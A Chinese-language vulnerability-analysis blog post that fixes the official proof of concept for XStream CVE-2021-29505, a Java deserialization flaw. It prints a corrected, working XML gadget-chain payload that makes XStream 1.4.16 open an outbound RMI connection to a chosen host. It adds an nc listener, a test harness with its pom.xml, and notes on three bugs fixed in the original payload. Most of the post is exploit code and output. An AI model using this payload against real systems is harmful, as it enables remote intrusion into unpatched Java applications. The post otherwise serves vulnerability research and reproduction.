tags: 漏洞分析

XStream CVE-2021-29505 poc修正

官网给出的poc很怪异,无法直接跑。

https://x-stream.github.io/CVE-2021-29505.html

1. 正确poc

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: none</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                            <soapPart/>
                            <mm>
                                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                                    <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                        <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                            <names>
                                                <string>aa</string>
                                                <string>aa</string>
                                            </names>
                                            <ctx>
                                                <environment/>
                                                <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                                    <java.rmi.server.RemoteObject>
                                                        <string>UnicastRef</string>
                                                        <string>127.0.0.1</string>
                                                        <int>2333</int>
                                                        <long>0</long>
                                                        <int>0</int>
                                                        <long>0</long>
                                                        <short>0</short>
                                                        <boolean>false</boolean>
                                                    </java.rmi.server.RemoteObject>
                                                </registry>
                                                <host>127.0.0.1</host>
                                                <port>2333</port>
                                            </ctx>
                                        </candidates>
                                    </aliases>
                                </it>
                            </mm>
                        </multiPart>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

使用nc监听2333,会接受到rmi连接

st0n3@yoga:~$ nc -n -lvp 2333
listening on [any] 2333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 57078
JRMIK

2. poc调试

简单写一段代码进行调试,分别解决了下文几个错误。

Main.java

import com.thoughtworks.xstream.XStream;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws IOException {
        String xml = new String(Files.readAllBytes(Paths.get("/payload.xml")));
        System.out.println(xml);
        XStream xstream = new XStream();
        xstream.fromXML(xml);
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>hello_xstream</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.16</version>
        </dependency>
    </dependencies>


    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>2.5.5</version>
                <configuration>
                    <archive>
                        <manifest>
                            <mainClass>Main</mainClass>
                        </manifest>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

2.1 <none>标签没有结束

Caused by: org.xmlpull.v1.XmlPullParserException: end tag name </m__obj> must match start tag name <none> from line 11 (position: START_TAG seen ...l.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>... @11:116) 
	at io.github.xstream.mxparser.MXParser.parseEndTag(MXParser.java:1693)
	at io.github.xstream.mxparser.MXParser.nextImpl(MXParser.java:1183)
	at io.github.xstream.mxparser.MXParser.next(MXParser.java:1104)

报错为m_obj变量中有一个没有闭合的none标签

<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>

m_obj似乎是什么值无所谓,直接把这个标签去掉,如

<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: none</m__obj>

2.2 Message1_1Impl没有soapPart

报错为 No such field com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl.soapPart

涉及的xml为

<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
    <attachmentsInitialized>false</attachmentsInitialized>
    <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
        <soapPart/>
            <mm>
            <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

...

很奇怪的是sm是com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl, 其下的multiPart变量类型为MimeMultipart,不可能是com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl

通过搜索rt.jar源码发现,实际拥有soapPart成员变量的类应该是com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart

https://github.com/yuexiahandao/RT-JAR-CODE/blob/d5b2590518ffb83596a3aa3849249cf871ab6d4e/com/sun/xml/internal/messaging/saaj/packaging/mime/internet/MimePullMultipart.java

2.3 RemoteObject类型错误

Caused by: java.lang.ClassCastException: java.lang.Short cannot be cast to java.lang.Long
	at com.thoughtworks.xstream.core.util.CustomObjectInputStream.readLong(CustomObjectInputStream.java:159)
    ...
<java.rmi.server.RemoteObject>
    <string>UnicastRef</string>
    <string>ip2</string>
    <int>1099</int>
    <long>0</long>
    <int>0</int>
    <short>0</short>
    <boolean>false</boolean>
</java.rmi.server.RemoteObject>

经过一段时间的debug,发现缺少了一个long类型的变量:

<java.rmi.server.RemoteObject>
    <string>UnicastRef</string>
    <string>127.0.0.1</string>
    <int>2333</int>
    <long>0</long>
    <int>0</int>
    <long>0</long>
    <short>0</short>
    <boolean>false</boolean>
</java.rmi.server.RemoteObject>